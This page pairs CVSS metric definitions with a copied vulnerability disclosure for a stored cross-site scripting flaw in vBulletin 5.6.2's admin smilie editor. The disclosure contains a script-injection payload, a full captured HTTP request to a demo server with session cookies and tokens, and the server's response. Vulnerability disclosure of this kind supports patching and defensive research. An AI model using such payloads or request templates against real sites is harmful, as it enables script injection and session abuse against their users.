The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: vBulletin 5.6.2 Persistent Cross Site Scripting
# Exploit Title: vBulletin 5.6.2 Stored XSS
# Date:15.08.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://www.vbulletin.com/en/features/
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Blog : https://pentest-vincent.blogspot.com/
# PoC: https://pentest-vincent.blogspot.com/2020/08/vbulletin-562-stored-xss.html
PoC:
Go to the Admin panel -> open Smilies -> Smilies manager->Edit Smilie
Categories->edit Smile:
https://72329406fb3a-041342.demo.vbulletin.net/admincp/index.php
https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=edit&table=smilie&id=1&pp=20&page=1&imagecategoryid=4
Put our code in the field "Title" or "Text to Replace" and other fields.
Our code:
""><script>alert("field")</script><marquee>test</marquee>
And save this. We have a stored XSS and html code injection.
Picture:
https://imgur.com/a/JUsmPye
Video:
https://www.youtube.com/watch?v=D526ZLgH90Y&feature=youtu.be
https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=update
Host: 72329406fb3a-041342.demo.vbulletin.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 399
Origin: https://72329406fb3a-041342.demo.vbulletin.net
Connection: keep-alive
Referer: https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=edit&table=smilie&id=1&pp=20&page=1&imagecategoryid=4
Cookie: vb41342lastvisit=1597392323; vb41342lastactivity=1597521919;
vb41342np_notices_displayed=; vb41342contentlist_perpage=25;
vb41342sessionhash=845f579d01bdd42b4bf3020d4893f366;
PHPSESSID=d8cafaa942534428ce54ea2ba5a221ec7ed9532a6d9666b8;
BIGipServervbdemo-web_POOL=1459677194.20480.0000;
vb41342cpsession=18ca6bf5d79e5564ac2aa3a201612500;
vb41342sitebuilder_active=1
Upgrade-Insecure-Requests: 1
s=845f579d01bdd42b4bf3020d4893f366&do=update&adminhash=38c14dd475e4de2e3f95676226993ebd&securitytoken=1597523664-7fba45cf7add9630b2fda3e409ad0da7beec797c&title=Smile""><script>alert("field")</script><marquee>test</marquee>&smilietext=:)&imagespath=smile.png&imagecategoryid=4&displayorder=1&id=1&table=smilie&page=1&perpage=20&massmove=0&returnimagecategoryid=4
POST: HTTP/1.1 200 OK
Date: Sat, 15 Aug 2020 20:34:36 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
Expires: 0
Cache-Control: private, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Connection: keep-alive, Keep-Alive
Keep-Alive: timeout=2, max=100
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
p.s.
Today i haven't idea how to use this bug, because only the admin user
has an access to the admincp and can insert xss code in the fields.
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